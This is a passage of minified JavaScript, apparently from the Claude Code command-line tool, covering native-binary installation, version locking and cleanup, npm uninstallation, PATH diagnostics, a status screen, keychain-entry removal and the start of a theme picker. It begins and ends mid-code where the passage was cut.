Ac,mkdir as b9A,symlink as Vx2,stat as Nj,lstat as fx2,realpath as Nx2,readlink as Mm6,readdir as gPA,rmdir as Tx2,rm as bT1,writeFile as vx2}from"fs/promises";function td(){let A=m6.platform,K=process.arch==="x64"?"x64":process.arch==="arm64"?"arm64":null;if(!K){let q=Error(`Unsupported architecture: ${process.arch}`);throw h(`Native installer does not support architecture: ${process.arch}`,{level:"error"}),q}if(A==="linux"&&QV.isMuslEnvironment())return`linux-${K}-musl`;return`${A}-${K}`}function CT1(A){return A.startsWith("win32")?"claude.exe":"claude"}function je(){let A=td(),K=CT1(A);return{versions:fX(J_K(),"claude","versions"),staging:fX(H_K(),"claude","staging"),locks:fX(kT1(),"claude","locks"),executable:fX(O_K(),K)}}async function De(A){try{let K=await Nj(A);if(!K.isFile()||K.size===0)return!1;return await Mx2(A,jx2.X_OK),!0}catch{return!1}}async function f_K(A){let K=je(),q=[K.versions,K.staging,K.locks];await Promise.all(q.map((w)=>b9A(w,{recursive:!0})));let Y=ed(K.executable);await b9A(Y,{recursive:!0});let z=fX(K.versions,A);try{await Nj(z)}catch{await vx2(z,"",{encoding:"utf8"})}return{stagingPath:fX(K.staging,A),installPath:z}}async function Ex2(A,K,q=0){let Y=je(),z=Vm6(Y,A);if(await b9A(Y.locks,{recursive:!0}),h9A()){let H=0,J=q+1,O=q>0?1000:100,X=q>0?5000:500;while(H<J){if(await M_K(A,z,async()=>{try{await K()}catch(_){throw KA(_ instanceof Error?_:Error(String(_))),_}}))return n("tengu_version_lock_acquired",{is_pid_based:!0,is_lifetime_lock:!1,attempts:H+1}),!0;if(H++,H<J){let _=Math.min(O*Math.pow(2,H-1),X);await new Promise((G)=>setTimeout(G,_))}}return n("tengu_version_lock_failed",{is_pid_based:!0,is_lifetime_lock:!1,attempts:J}),ST1(A,Error("Lock held by another process")),!1}let w=null;try{try{w=await hT1.default.lock(A,{stale:Pm6,retries:{retries:q,minTimeout:q>0?1000:100,maxTimeout:q>0?5000:500},lockfilePath:z,onCompromised:(H)=>{h(`NON-FATAL: Version lock was compromised during operation: ${H.message}`,{level:"info"})}})}catch(H){return n("tengu_version_lock_failed",{is_pid_based:!1,is_lifetime_lock:!1}),ST1(A,H),!1}try{return await K(),n("tengu_version_lock_acquired",{is_pid_based:!1,is_lifetime_lock:!1}),!0}catch(H){throw KA(H instanceof Error?H:Error(String(H))),H}}finally{if(w)await w()}}async function N_K(A,K){await b9A(ed(K),{recursive:!0});let q=`${K}.tmp.${process.pid}.${Date.now()}`;try{await jm6(A,q),await Px2(q,493),await IT1(q,K),h(`Atomically installed binary to ${K}`)}catch(Y){try{await Ac(q)}catch{}throw Y}}async function kx2(A,K){try{let q=fX(A,"node_modules","@anthropic-ai"),z=(await gPA(q)).find((H)=>H.startsWith("claude-cli-native-"));if(!z){n("tengu_native_install_package_failure",{stage_find_package:!0,error_package_not_found:!0});let H=Error("Could not find platform-specific native package");throw FPA.captureException(H),H}let w=fX(q,z,"cli");try{await Nj(w)}catch{n("tengu_native_install_package_failure",{stage_binary_exists:!0,error_binary_not_found:!0});let H=Error("Native binary not found in staged package");throw FPA.captureException(H),H}await N_K(w,K),await bT1(A,{recursive:!0,force:!0}),n("tengu_native_install_package_success",{})}catch(q){let Y=q instanceof Error?q.message:String(q);if(!Y.includes("Could not find platform-specific")&&!Y.includes("Native binary not found"))n("tengu_native_install_package_failure",{stage_atomic_move:!0,error_move_failed:!0}),FPA.captureException(q);throw KA(q instanceof Error?q:Error(Y)),q}}async function Cx2(A,K){try{let q=td(),Y=CT1(q),z=fX(A,Y);try{await Nj(z)}catch{n("tengu_native_install_binary_failure",{stage_binary_exists:!0,error_binary_not_found:!0});let w=Error("Staged binary not found");throw FPA.captureException(w),w}await N_K(z,K),await bT1(A,{recursive:!0,force:!0}),n("tengu_native_install_binary_success",{})}catch(q){let Y=q instanceof Error?q.message:String(q);if(!Y.includes("Staged binary not found"))n("tengu_native_install_binary_failure",{stage_atomic_move:!0,error_move_failed:!0}),FPA.captureException(q);throw KA(q instanceof Error?q:Error(Y)),q}}async function Lx2(A,K,q){if(q==="npm")await kx2(A,K);else await Cx2(A,K)}async function Rx2(A,K){let{stagingPath:q,installPath:Y}=await f_K(A),{executable:z}=je(),w=`${q}.${process.pid}.${Date.now()}`,H=!await T_K(A)||K;if(H){h(K?`Force reinstalling native installer version ${A}`:`Downloading native installer version ${A}`);let J=await G_K(A,w);await Lx2(w,Y,J)}else h(`Version ${A} already installed, updating symlink`);if(await Ix2(z),await Sx2(z,Y),!await De(z)){let J=!1;try{await Nj(Y),J=!0}catch{}throw Error(`Failed to create executable at ${z}. Source file exists: ${J}. Check write permissions to ${z}.`)}return H}async function T_K(A){let{installPath:K}=await f_K(A);return De(K)}async function yx2(A,K=!1){let q=Date.now(),Y=await _m6(A),{executable:z}=je();if(h(`Checking for native installer update to version ${Y}`),!K&&Y==={ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION&&await T_K(Y)&&await De(z))return h(`Found ${Y} at ${z}, skipping install`),n("tengu_native_update_complete",{latency_ms:Date.now()-q,was_new_install:!1,was_force_reinstall:!1,was_already_running:!0}),{success:!0};if(!K&&DMA(Y))return n("tengu_native_update_skipped_minimum_version",{latency_ms:Date.now()-q,target_version:Y}),{success:!0};let w=!1,H;return w=await Rx2(Y,K),H=Date.now()-q,n("tengu_native_update_complete",{latency_ms:H,was_new_install:w,was_force_reinstall:K}),h(`Successfully updated to version ${Y}`),{success:!0}}async function Ix2(A){try{if((await Nj(A)).isDirectory()){if((await gPA(A)).length===0)await Tx2(A),h(`Removed empty directory at ${A}`)}}catch(K){h(`Could not remove empty directory at ${A}: ${K}`)}}async function Sx2(A,K){if(td().startsWith("win32"))try{let H=ed(A);await b9A(H,{recursive:!0});let J=!1;try{await Nj(A),J=!0}catch{}if(J){try{let X=await Nj(A),$=await Nj(K);if(X.size===$.size)return!1}catch{}let O=`${A}.old.${Date.now()}`;await IT1(A,O);try{await jm6(K,A);try{await Ac(O)}catch{}}catch(X){try{await IT1(O,A)}catch($){let _=Error(`Failed to restore old executable: ${$}`,{cause:X});throw KA(_),_}throw X}}else{try{await Nj(K)}catch{throw Error(`Source file does not exist: ${K}`)}await jm6(K,A)}return!0}catch(H){return KA(Error(`Failed to copy executable from ${K} to ${A}: ${H}`)),!1}let z=ed(A);try{await b9A(z,{recursive:!0}),h(`Created directory ${z} for symlink`)}catch(H){return KA(Error(`Failed to create directory ${z}: ${H}`)),!1}try{let H=!1;try{await Nj(A),H=!0}catch{}if(H){try{let J=await Mm6(A),O=Em(ed(A),J),X=Em(K);if(O===X)return!1}catch{}await Ac(A)}}catch(H){KA(Error(`Failed to check/remove existing symlink: ${H}`))}let w=`${A}.tmp.${process.pid}.${Date.now()}`;try{return await Vx2(K,w),await IT1(w,A),h(`Atomically updated symlink ${A} -> ${K}`),!0}catch(H){try{await Ac(w)}catch{}return KA(Error(`Failed to create symlink from ${A} to ${K}: ${H}`)),!1}}async function km(A=!1){if(P1(process.env.DISABLE_INSTALLATION_CHECKS))return[];let K=await Xm();if(K==="development")return[];let q=M1();if(!(A||K==="native"||q.installMethod==="native"))return[];let z=je(),w=[],H=ed(z.executable),J=Em(H),X=td().startsWith("win32");if(!xv(H))w.push({message:`installMethod is native, but directory ${H} does not exist`,userActionRequired:!0,type:"error"});if(!xv(z.executable))w.push({message:`installMethod is native, but claude command not found at ${z.executable}`,userActionRequired:!0,type:"error"});else if(!X)try{let _=await Mm6(z.executable),G=Em(ed(z.executable),_);if(!xv(G))w.push({message:`Claude symlink points to non-existent file: ${_}`,userActionRequired:!0,type:"error"});else if(!await De(G))w.push({message:`Claude symlink points to invalid binary: ${_}`,userActionRequired:!0,type:"error"})}catch{if(!await De(z.executable))w.push({message:`${z.executable} exists but is not a valid Claude binary`,userActionRequired:!0,type:"error"})}else if(!await De(z.executable))w.push({message:`${z.executable} exists but is not a valid Claude binary`,userActionRequired:!0,type:"error"});if(!(process.env.PATH||"").split(Wx2).some((_)=>{try{let G=Em(_);if(X)return G.toLowerCase()===J.toLowerCase();return G===J}catch{return!1}}))if(X){let _=H.replace(/\//g,"\\");w.push({message:`Native installation exists but ${_} is not in your PATH. Add it by opening: System Properties → Environment Variables → Edit User PATH → New → Add the path above. Then restart your terminal.`,userActionRequired:!0,type:"path"})}else{let _=WMA(),Z=pt()[_],W=Z?Z.replace(V_K(),"~"):"your shell config file";w.push({message:`Native installation exists but ~/.local/bin is not in your PATH. Run: echo 'export PATH="$HOME/.local/bin:$PATH"' >> ${W} && source ${W}`,userActionRequired:!0,type:"path"})}return w}async function Cm(A,K=!1){let q=await _m6(A),Y=await yx2(A,K);if(!Y.success)return{latestVersion:null,wasUpdated:!1,lockFailed:Y.lockFailed,lockHolderPid:Y.lockHolderPid};if(q||Y.success){if(M1().installMethod!=="native")D6((w)=>({...w,installMethod:"native",autoUpdates:!1,autoUpdatesProtectedForNative:!0})),h('Native installer: Set installMethod to "native" and disabled legacy auto-updater for protection')}return xT1(),{latestVersion:q,wasUpdated:Y.success,lockFailed:!1}}async function hx2(A){try{if(xv(A)){let K=await Mm6(A),q=Em(ed(A),K);if(xv(q)&&await De(q))return q}}catch{}return null}function Vm6(A,K){let q=Dx2(K);return fX(A.locks,`${q}.lock`)}async function fm6(){let A=je();if(!process.execPath.includes(A.versions))return;try{let K=Em(process.execPath),q=Vm6(A,K);if(await b9A(A.locks,{recursive:!0}),!xv(K)){h(`Cannot lock current version - file does not exist: ${K}`,{level:"info"});return}if(h9A()){if(!await j_K(K,q)){n("tengu_version_lock_failed",{is_pid_based:!0,is_lifetime_lock:!0}),ST1(K,Error("Lock already held by another process"));return}n("tengu_version_lock_acquired",{is_pid_based:!0,is_lifetime_lock:!0}),h(`Acquired PID lock on running version: ${K}`)}else{let Y;try{Y=await hT1.default.lock(K,{stale:Pm6,retries:0,lockfilePath:q,onCompromised:(z)=>{h(`NON-FATAL: Lock on running version was compromised: ${z.message}`,{level:"info"})}}),n("tengu_version_lock_acquired",{is_pid_based:!1,is_lifetime_lock:!0}),h(`Acquired mtime-based lock on running version: ${K}`),kK(async()=>{try{await Y?.()}catch{}})}catch(z){n("tengu_version_lock_failed",{is_pid_based:!1,is_lifetime_lock:!0}),ST1(K,z);return}}}catch(K){h(`NON-FATAL: Failed to lock current version during execution ${K instanceof Error?K.message:String(K)}`,{level:"info"})}}function ST1(A,K){let q=`NON-FATAL: Lock acquisition failed for ${A} (expected in multi-process scenarios)`,Y=K instanceof Error?Error(q,{cause:K}):Error(`${q}: ${K}`);KA(Y)}async function xT1(){await Promise.resolve();let A=je();if(td().startsWith("win32"))try{let q=ed(A.executable);if(xv(q)){let z=(await gPA(q)).filter((H)=>H.startsWith("claude.exe.old.")&&H.match(/claude\.exe\.old\.\d+$/)),w=0;for(let H of z)try{let J=fX(q,H);await Ac(J),w++}catch{}if(w>0)h(`Cleaned up ${w} old Windows executables on startup`)}}catch(q){h(`Failed to clean up old Windows executables: ${q}`)}if(xv(A.staging))try{let q=await gPA(A.staging),Y=Date.now()-3600000,z=0;for(let w of q){let H=fX(A.staging,w);try{if((await Nj(H)).mtime.getTime()<Y)await bT1(H,{recursive:!0,force:!0}),z++,h(`Cleaned up old staging directory: ${w}`)}catch{}}if(z>0)h(`Cleaned up ${z} orphaned staging directories`),n("tengu_native_staging_cleanup",{cleaned_count:z})}catch(q){h(`Failed to clean up staging directories: ${q}`)}if(xv(A.versions))try{let q=await gPA(A.versions),Y=Date.now()-3600000,z=0;for(let w of q)if(w.match(/\.tmp\.\d+\.\d+$/)){let H=fX(A.versions,w);try{if((await Nj(H)).mtime.getTime()<Y)await Ac(H),z++,h(`Cleaned up orphaned temp install file: ${w}`)}catch{}}if(z>0)h(`Cleaned up ${z} orphaned temp install files`),n("tengu_native_temp_files_cleanup",{cleaned_count:z})}catch(q){h(`Failed to clean up temp install files: ${q}`)}if(h9A()&&xv(A.locks)){let q=yT1(A.locks);if(q>0)h(`Cleaned up ${q} stale version locks`),n("tengu_native_stale_locks_cleanup",{cleaned_count:q})}if(!xv(A.versions))return;try{let q=await gPA(A.versions),Y=[];for(let Z of q){let W=fX(A.versions,Z);try{let D=await Nj(W);if(D.isFile()&&(D.size===0||await De(W)))Y.push(Z)}catch{}}let z=process.execPath,w=z&&z.includes(A.versions)?Em(z):null,H=new Set([...w?[w]:[]]),J=await hx2(A.executable);if(J)H.add(J);for(let Z of Y){let W=Em(A.versions,Z);if(H.has(W))continue;let D=Vm6(A,W),j=!1;if(h9A())j=RT1(D);else try{j=await hT1.default.check(W,{stale:Pm6,lockfilePath:D})}catch{j=!1}if(j)H.add(W),h(`Protecting locked version from cleanup: ${Z}`)}let O=[];for(let Z of Y){let W=Em(A.versions,Z);if(H.has(W))continue;try{let D=await Nj(W);O.push({name:Z,path:W,mtime:D.mtime})}catch{}}O.sort((Z,W)=>W.mtime.getTime()-Z.mtime.getTime());let X=O.slice(Dm6);if(X.length===0){n("tengu_native_version_cleanup",{total_count:Y.length,deleted_count:0,protected_count:H.size,retained_count:Dm6,lock_failed_count:0,error_count:0});return}let $=0,_=0,G=0;await Promise.all(X.map(async(Z)=>{try{if(await Ex2(Z.path,async()=>{await Ac(Z.path)}))$++;else _++,h(`Skipping deletion of ${Z.name} - locked by another process`)}catch(W){G++,KA(Error(`Failed to delete version ${Z.name}: ${W}`))}})),n("tengu_native_version_cleanup",{total_count:Y.length,deleted_count:$,protected_count:H.size,retained_count:Dm6,lock_failed_count:_,error_count:G})}catch(q){KA(Error(`Version cleanup failed: ${q}`))}}async function bx2(A){let K=A;if((await fx2(A)).isSymbolicLink())K=await Nx2(A);return K.endsWith(".js")||K.includes("node_modules")}async function rpA(){let A=je();try{if(!xv(A.executable))return;if(await bx2(A.executable)){h(`Skipping removal of ${A.executable} - appears to be npm-managed`);return}await Ac(A.executable),h(`Removed claude symlink at ${A.executable}`)}catch(K){KA(Error(`Failed to remove claude symlink: ${K}`))}}function opA(){let A=[],K=pt();for(let[q,Y]of Object.entries(K))try{let z=oQA(Y);if(!z)continue;let{filtered:w,hadAlias:H}=tP1(z);if(H)eP1(Y,w),A.push({message:`Removed claude alias from ${Y}. Run: unalias claude`,userActionRequired:!0,type:"alias"}),h(`Cleaned up claude alias from ${q} config`)}catch(z){KA(z instanceof Error?z:Error(String(z))),A.push({message:`Failed to clean up ${Y}: ${z}`,userActionRequired:!1,type:"error"})}return A}async function xx2(A){try{let K=await A7("npm",["config","get","prefix"]);if(K.code!==0||!K.stdout)return{success:!1,error:"Failed to get npm global prefix"};let q=K.stdout.trim(),Y=!1;async function z(w,H){try{return await Nj(w),await Ac(w),h(`Manually removed ${H}: ${w}`),!0}catch{return!1}}if(td()==="windows"){let w=fX(q,"claude.cmd"),H=fX(q,"claude.ps1"),J=fX(q,"claude");if(await z(w,"bin script"))Y=!0;if(await z(H,"PowerShell script"))Y=!0;if(await z(J,"bin executable"))Y=!0}else{let w=fX(q,"bin","claude");if(await z(w,"bin symlink"))Y=!0}if(Y){h(`Successfully removed ${A} manually`);let w=td()==="windows"?fX(q,"node_modules",A):fX(q,"lib","node_modules",A);return{success:!0,warning:`${A} executables removed, but node_modules directory was left intact for safety. You may manually delete it later at: ${w}`}}else return{success:!1}}catch(K){return h(`Manual removal failed: ${K}`,{level:"error"}),{success:!1,error:`Manual removal failed: ${K}`}}}async function P_K(A){let{code:K,stderr:q}=await A7("npm",["uninstall","-g",A],{cwd:process.cwd()});if(K===0)return h(`Removed global npm installation of ${A}`),{success:!0};else if(q&&!q.includes("npm ERR! code E404")){if(q.includes("npm error code ENOTEMPTY")){h(`Failed to uninstall global npm package ${A}: ${q}`,{level:"error"}),h("Attempting manual removal due to ENOTEMPTY error");let Y=await xx2(A);if(Y.success)return{success:!0,warning:Y.warning};else if(Y.error)return{success:!1,error:`Failed to remove global npm installation of ${A}: ${q}. Manual removal also failed: ${Y.error}`}}return h(`Failed to uninstall global npm package ${A}: ${q}`,{level:"error"}),{success:!1,error:`Failed to remove global npm installation of ${A}: ${q}`}}return{success:!1}}async function apA(){let A=[],K=[],q=0,Y=await P_K("@anthropic-ai/claude-code");if(Y.success){if(q++,Y.warning)K.push(Y.warning)}else if(Y.error)A.push(Y.error);if({ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL&&{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL!=="@anthropic-ai/claude-code"){let w=await P_K({ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.PACKAGE_URL);if(w.success){if(q++,w.warning)K.push(w.warning)}else if(w.error)A.push(w.error)}let z=fX(V_K(),".claude","local");if(xv(z))try{await bT1(z,{recursive:!0,force:!0}),q++,h(`Removed local installation at ${z}`)}catch(w){A.push(`Failed to remove ${z}: ${w}`),h(`Failed to remove local installation: ${w}`,{level:"error"})}return{removed:q,errors:A,warnings:K}}var hT1,FPA,Dm6=2,Pm6=604800000;var Gm6=k(()=>{z3();Rr();CK();C1();R2();l1();Z1();Xm6();i6();AV1();Ut();yd();Z_K();mS();l6();Wm6();hT1=o(Yb(),1),FPA=o(_F(),1)});var Ah=k(()=>{Gm6()});function v_K(){return[]}function E_K(A,K=null,q){let Y=A?.find((z)=>z.name==="ide");if(K){let z=O0(K.ideType),w=UI(K.ideType)?"plugin":"extension";if(K.error)return[{label:"IDE",value:x9A.createElement(V,null,h8("error",q)(eA.cross)," Error installing ",z," ",w,": ",K.error,` `,"Please restart your IDE and try again.")}];if(K.installed)if(Y&&Y.type==="connected")if(K.installedVersion!==Y.serverInfo?.version)return[{label:"IDE",value:`Connected to ${z} ${w} version ${K.installedVersion} (server version: ${Y.serverInfo?.version})`}];else return[{label:"IDE",value:`Connected to ${z} ${w} version ${K.installedVersion}`}];else return[{label:"IDE",value:`Installed ${z} ${w}`}]}else if(Y){let z=gM6(Y)??"IDE";if(Y.type==="connected")return[{label:"IDE",value:`Connected to ${z} extension`}];else return[{label:"IDE",value:`${h8("error",q)(eA.cross)} Not connected to ${z}`}]}return[]}function k_K(A=[],K){let q=A.filter((Y)=>Y.name!=="ide");if(!q.length)return[];return[{label:"MCP servers",value:x9A.createElement(S,{flexDirection:"row",flexWrap:"wrap",columnGap:1,flexShrink:99},q.map((Y,z)=>{let w="";if(Y.type==="connected")w=h8("success",K)(eA.tick);else if(Y.type==="pending")w=h8("inactive",K)(eA.radioOff);else if(Y.type==="needs-auth")w=h8("warning",K)(eA.triangleUpOutline);else if(Y.type==="failed")w=h8("error",K)(eA.cross);else w=h8("error",K)(eA.cross);let H=z<q.length-1?",":"";return x9A.createElement(V,{key:z},Y.name," ",w,H)}))}]}function C_K(){let A=k7A(),K=C7A(),q=[];if(A.forEach((Y)=>{let z=Z5(Y.path);q.push(`Large ${z} will impact performance (${g5(Y.content.length)} chars > ${g5(wU)})`)}),K&&K.content.length>Q$A)q.push(`CLAUDE.md entries marked as IMPORTANT exceed ${g5(Q$A)} characters (${g5(K.content.length)} chars)`);return q}function L_K(){return[{label:"Setting sources",value:Ni().filter((Y)=>{let z=E4(Y);return z!==null&&Object.keys(z).length>0}).map((Y)=>{if(Y==="policySettings"){let z=x_K();if(z===null)return null;return z==="remote"?"Enterprise managed settings (remote)":"Enterprise managed settings (local)"}return gC8(Y)}).filter((Y)=>Y!==null)}]}async function R_K(){return(await km()).map((K)=>K.message)}async function y_K(){let A=await dt(),K=[],{errors:q}=wv();if(q.length>0){let z=Array.from(new Set(q.map((w)=>w.file))).join(", ");K.push(`Found invalid settings files: ${z}. They will be ignored.`)}if(A.warnings.forEach((Y)=>{K.push(Y.issue)}),A.hasUpdatePermissions===!1)K.push("No write permissions for auto-updates (requires sudo)");return K}function I_K(){let A=uT1();if(!A)return[];let K=[];if(A.subscription)K.push({label:"Login method",value:`${A.subscription} Account`});if(A.tokenSource)K.push({label:"Auth token",value:A.tokenSource});if(A.apiKeySource)K.push({label:"API key",value:A.apiKeySource});if(A.organization&&!process.env.IS_DEMO)K.push({label:"Organization",value:A.organization});if(A.email&&!process.env.IS_DEMO)K.push({label:"Email",value:A.email});return K}function S_K(){let A=c7(),K=[];if(A!=="firstParty"){let z={bedrock:"AWS Bedrock",vertex:"Google Vertex AI",foundry:"Microsoft Foundry"}[A];K.push({label:"API provider",value:z})}if(A==="firstParty"){let z=process.env.ANTHROPIC_BASE_URL;if(z)K.push({label:"Anthropic base URL",value:z})}else if(A==="bedrock"){let z=process.env.BEDROCK_BASE_URL;if(z)K.push({label:"Bedrock base URL",value:z});if(K.push({label:"AWS region",value:J1A()}),P1(process.env.CLAUDE_CODE_SKIP_BEDROCK_AUTH))K.push({value:"AWS auth skipped"})}else if(A==="vertex"){let z=process.env.VERTEX_BASE_URL;if(z)K.push({label:"Vertex base URL",value:z});let w=process.env.ANTHROPIC_VERTEX_PROJECT_ID;if(w)K.push({label:"GCP project",value:w});if(K.push({label:"Default region",value:TR()}),P1(process.env.CLAUDE_CODE_SKIP_VERTEX_AUTH))K.push({value:"GCP auth skipped"})}else if(A==="foundry"){let z=process.env.ANTHROPIC_FOUNDRY_BASE_URL;if(z)K.push({label:"Microsoft Foundry base URL",value:z});let w=process.env.ANTHROPIC_FOUNDRY_RESOURCE;if(w)K.push({label:"Microsoft Foundry resource",value:w});if(P1(process.env.CLAUDE_CODE_SKIP_FOUNDRY_AUTH))K.push({value:"Microsoft Foundry auth skipped"})}let q=dn();if(q)K.push({label:"Proxy",value:q});let Y=Ny();if(process.env.NODE_EXTRA_CA_CERTS)K.push({label:"Additional CA cert(s)",value:process.env.NODE_EXTRA_CA_CERTS});if(Y){if(Y.cert&&process.env.CLAUDE_CODE_CLIENT_CERT)K.push({label:"mTLS client cert",value:process.env.CLAUDE_CODE_CLIENT_CERT});if(Y.key&&process.env.CLAUDE_CODE_CLIENT_KEY)K.push({label:"mTLS client key",value:process.env.CLAUDE_CODE_CLIENT_KEY})}return K}function h_K(A){let K=vy(A);if(A===null&&Z4()){let q=GyA();if(yk())K=`${O1.bold("Default")} ${q}`;else K=`${O1.bold("Sonnet")} ${q}`}return K}var x9A;var b_K=k(()=>{mA();Ah();x4();iH();gZ();YK();IH();K7();u5();mS();l6();TQ();r0A();I8();SH();g4();x4();GJ();x9A=o($A(),1)});function ux2(){let A=d1(),q=zXK(A)??_3.createElement(V,{dimColor:!0},"/rename to add a name");return[{label:"Version",value:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION},{label:"Session name",value:q},{label:"Session ID",value:A},{label:"cwd",value:x1()},...I_K(),...S_K()]}function Bx2({mainLoopModel:A,mcp:K,theme:q,context:Y}){return[{label:"Model",value:h_K(A)},...E_K(K.clients,Y.options.ideInstallationStatus,q),...k_K(K.clients,q),{label:"Memory",value:_3.createElement(z_K,{context:Y,flat:!0})},...v_K(),...L_K()]}async function mx2(){return[...await R_K(),...await y_K(),...C_K()]}function gx2(A){let K=s(8),{value:q}=A;if(Array.isArray(q)){let Y;if(K[0]!==q){let w;if(K[2]!==q.length)w=(H,J)=>_3.createElement(V,{key:J},H,J<q.length-1?",":""),K[2]=q.length,K[3]=w;else w=K[3];Y=q.map(w),K[0]=q,K[1]=Y}else Y=K[1];let z;if(K[4]!==Y)z=_3.createElement(S,{flexWrap:"wrap",columnGap:1,flexShrink:99},Y),K[4]=Y,K[5]=z;else z=K[5];return z}if(typeof q==="string"){let Y;if(K[6]!==q)Y=_3.createElement(V,null,q),K[6]=q,K[7]=Y;else Y=K[7];return Y}return q}function u_K(A){let K=s(18),{context:q}=A,Y=F1(dx2),z=F1(px2),w;if(K[0]===Symbol.for("react.memo_cache_sentinel"))w=[],K[0]=w;else w=K[0];let[H,J]=_3.useState(w),O;if(K[1]===Symbol.for("react.memo_cache_sentinel"))O=[],K[1]=O;else O=K[1];let[X,$]=_3.useState(O),[_]=I4(),G,Z;if(K[2]!==q||K[3]!==Y||K[4]!==z||K[5]!==_)G=()=>{(async function(){let T=[ux2(),Bx2({mainLoopModel:Y,mcp:z,theme:_,context:q})],C=await mx2();J(T),$(C)})()},Z=[Y,z,_,q],K[2]=q,K[3]=Y,K[4]=z,K[5]=_,K[6]=G,K[7]=Z;else G=K[6],Z=K[7];_3.useEffect(G,Z);let W;if(K[8]!==H)W=H.map(Qx2),K[8]=H,K[9]=W;else W=K[9];let D;if(K[10]!==X)D=X.length>0&&_3.createElement(S,{flexDirection:"column",paddingBottom:1},_3.createElement(V,{bold:!0},"System Diagnostics"),X.map(Fx2)),K[10]=X,K[11]=D;else D=K[11];let j;if(K[12]!==W||K[13]!==D)j=_3.createElement(S,{flexDirection:"column",gap:1,marginTop:1},W,D),K[12]=W,K[13]=D,K[14]=j;else j=K[14];let M;if(K[15]===Symbol.for("react.memo_cache_sentinel"))M=_3.createElement(V,{dimColor:!0},_3.createElement(Q6,{action:"confirm:no",context:"Settings",fallback:"Esc",description:"cancel"})),K[15]=M;else M=K[15];let P;if(K[16]!==j)P=_3.createElement(S,{flexDirection:"column"},j,M),K[16]=j,K[17]=P;else P=K[17];return P}function Fx2(A,K){return _3.createElement(S,{key:K,flexDirection:"row",gap:1,paddingX:1},_3.createElement(V,{color:"error"},eA.warning),typeof A==="string"?_3.createElement(V,{wrap:"wrap"},A):A)}function Qx2(A,K){return A.length>0&&_3.createElement(S,{key:K,flexDirection:"column"},A.map(Ux2))}function Ux2(A,K){let{label:q,value:Y}=A;return _3.createElement(S,{key:K,flexDirection:"row",gap:1,flexShrink:0},q!==void 0&&_3.createElement(V,{bold:!0},q,":"),_3.createElement(gx2,{value:Y}))}function px2(A){return A.mcp}function dx2(A){return A.mainLoopModel}var _3;var B_K=k(()=>{cA();mA();g4();A4();q6();w_K();b_K();y4();UK();q5();_3=o($A(),1)});async function m_K(){if(process.platform==="darwin"){let A=Vp();if((await wY(`security delete-generic-password -a $USER -s "${A}"`,{shell:!0,reject:!1})).exitCode!==0)throw Error("Failed to delete keychain entry")}}function uv(A){return A.slice(-20)}var spA=k(()=>{UBA();rP()});function QPA(A){let K=s(59),{onThemeSelect:q,showIntroText:Y,helpText:z,showHelpTextBelow:w,hideEscToCancel:H,skipExitHandling:J,onCancel:O}=A,X=Y===void 0?!1:Y,$=z===void 0?"":z,_=w===void 0?!1:w,G=H===void 0?!1:H,Z=J===void 0?!1:J,[W]=I4(),{columns:D}=f8(),j;if(K[0]===Symbol.for("react.memo_cache_sentinel"))j=vf6(),K[0]=j;else j=K[0];let M=j,P;if(K[1]!==W)P=M===null?AE7(W):null,K[1]=W,K[2]=P;else P=K[2];let f=P,{setPreviewTheme:N,savePreview:T,cancelPreview:C}=UK6(),R=F1(lx2)??!1,x=p4();_31("ThemePicker");let y=cK("theme:toggleSyntaxHighlighting","ThemePicker","ctrl+t"),B;if(K[3]!==x||K[4]!==R)B=()=>{if(M===null){let GA=!R;v4("userSettings",{syntaxHighlightingDisabled:GA}),x((OA)=>({...OA,settings:{...OA.settings,syntaxHighlightingDisabled:GA}}))}},K[3]=x,K[4]=R,K[5]=B;else B=K[5];let b;if(K[6]===Symbol.for("react.memo_cache_sentinel"))b={context:"ThemePicker"},K[6]=b;else b=K[6];J6("theme:toggleSyntaxHighlighting",B,b);let F=n8(Z?cx2:void 0),Q;if(K[7]===Symbol.for("react.memo_cache_sentinel"))Q=[{label:"Dark mode",value:"dark"},{label:"Light mode",value:"light"},{label:"Dark mode (colorblind-friendly)",value:"dark-daltonized"},{label:"Light mode (colorblind-friendly)",value:"light-daltonized"},{label:"Dark mode (ANSI colors only)",value:"dark-ansi"},{label:"Light mode (ANSI colors only)",value:"light-ansi"}],K[7]=Q;else Q=K[7];let u=Q,d;if(K[8]!==X)d=X?Oq.createElement(V,null,"Let's get started."):Oq.createElement(V,{bold:!0,color:"permission"},"Theme"),K[8]=X,K[9]=d;else d=K[9];let r;if(K[10]===Symbol.for("react.memo_cache_sentinel"))r=Oq.createElement(V,{bold:!0},"Choose the text style that looks best with your terminal"),K[10]=r;else r=K[10];let c;if(K[11]!==$||K[12]!==_)c=$&&!_&&Oq.createElement(V,{dimColor:!0},$),K[11]=$,K[12]=_,K[13]=c;else c=K[13];let YA;if(K[14]!==c)YA=Oq.createElement(S,{flexDirection:"column"},r,c),K[14]=c,K[15]=YA;else YA=K[15];let e;if(K[16]!==N)e=(GA)=>{N(GA)},K[16]=N,K[17]=e;else e=K[17];let 